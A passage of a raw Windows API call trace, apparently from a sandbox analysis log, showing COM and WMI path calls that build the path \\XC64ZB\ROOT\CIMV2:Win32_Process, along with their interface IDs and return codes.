Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4aef20) returned 0x0 [0122.057] WbemDefPath:IUnknown:AddRef (This=0x1b4aef20) returned 0x3 [0122.057] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x2 [0122.057] WbemDefPath:IWbemPath:SetText (This=0x1b4aef20, uMode=0x4, pszPath="") returned 0x0 [0122.057] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aef20, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0122.057] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0120, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0122.057] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4aef20, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0122.057] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4aef20, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0122.058] WbemDefPath:IWbemPath:SetServer (This=0x1b4aef20, Name="XC64ZB") returned 0x0 [0122.058] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0122.058] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0122.058] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0122.058] IUnknown:Release (This=0x6124e8) returned 0x1 [0122.058] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d1b60) returned 0x0 [0122.058] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1b60, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0122.058] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1b60, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4af520) returned 0x0 [0122.059] WbemDefPath:IUnknown:Release (This=0x1b4d1b60) returned 0x0 [0122.059] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4af520) returned 0x0 [0122.059] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0122.128] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0122.128] WbemDefPath:IUnknown:AddRef (This=0x1b4af520) returned 0x3 [0122.128] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0122.128] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0122.128] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d17e0) returned 0x0 [0122.128] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d17e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0122.128] WbemDefPath:IUnknown:Release (This=0x1b4d17e0) returned 0x3 [0122.128] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0122.128] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0122.128] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0122.128] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x2 [0122.128] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x1 [0122.129] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0122.129] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0122.129] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4af520) returned 0x0 [0122.129] WbemDefPath:IUnknown:AddRef (This=0x1b4af520) returned 0x3 [0122.129] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x2 [0122.129] WbemDefPath:IWbemPath:SetText (This=0x1b4af520, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0122.129] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aef20, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0122.129] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af520, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0122.129] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af520, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0122.129] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af520, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0122.129] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4aef20) returned 0x0 [0122.129] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af520, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0122.129] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af520, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0122.129] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af520, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0122.129] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4aef20, uIndex=0x0, pszName="ROOT") returned 0x0 [0122.129] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af520, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0122.129] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af520, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0122.129] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4aef20, uIndex=0x1, pszName="CIMV2") returned 0x0 [0122.129] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4aef20, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0122.129] WbemDefPath:IWbemPath:SetClassName (This=0x1b4aef20, Name="Win32_Process") returned 0x0 [0122.129] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4aef20, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0122.129] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aef20, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0122.129] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0122.130] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0122.130] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4aef20, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0122.130] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aef20, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0122.130] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0122.130] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0122.130] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aefe0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0122.130] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0122.130] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0122.130] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0122.130] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0122.130] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0122.130] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0122.130] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0122.130] IUnknown:Release (This=0x6124e8) returned 0x1 [0122.131] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b4d1d00) returned 0x0 [0122.131] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1d00, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0122.131] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1d00, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x1b4af3a0) returned 0x0 [0122.131] WbemDefPath:IUnknown:Release (This=0x1b4d1d00) returned 0x0 [0122.131] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x1b4af3a0) returned 0x0 [0122.131] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0122.131] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0122.132] WbemDefPath:IUnknown:AddRef (This=0x1b4af3a0) returned 0x3 [0122.132] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0122.132] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0122.132] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b4d1d20) returned 0x0 [0122.132] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d1d20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0122.132] WbemDefPath:IUnknown:Release (This=0x1b4d1d20) returned 0x3 [0122.132] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0122.132] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0122.132] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0122.132] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x2 [0122.132] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x1 [0122.132] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0122.132] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0122.132] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x1b4af3a0) returned 0x0 [0122.132] WbemDefPath:IUnknown:AddRef (This=0x1b4af3a0) returned 0x3 [0122.132] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x2 [0122.132] WbemDefPath:IWbemPath:SetText (This=0x1b4af3a0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0122.132] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aefe0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0122.132] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0122.132] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0122.132] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0122.133] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0122.133] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0122.133] IUnknown:Release (This=0x6124e8) returned 0x1 [0122.133] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2060) returned 0x0 [0122.133] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2060, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0122.133] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2060, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b08a0) returned 0x0 [0122.134] WbemDefPath:IUnknown:Release (This=0x1b4d2060) returned 0x0 [0122.134] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b08a0) returned 0x0 [0122.134] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0122.134] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0122.134] WbemDefPath:IUnknown:AddRef (This=0x1b4b08a0) returned 0x3 [0122.134] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0122.134] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0122.134] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2280) returned 0x0 [0122.134] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2280, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0122.134] WbemDefPath:IUnknown:Release (This=0x1b4d2280) returned 0x3 [0122.134] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0122.134] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0122.134] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0122.134] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x2 [0122.134] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x1 [0122.134] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0122.135] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0122.135] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b08a0) returned 0x0 [0122.135] WbemDefPath:IUnknown:AddRef (This=0x1b4b08a0) returned 0x3 [0122.135] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x2 [0122.135] 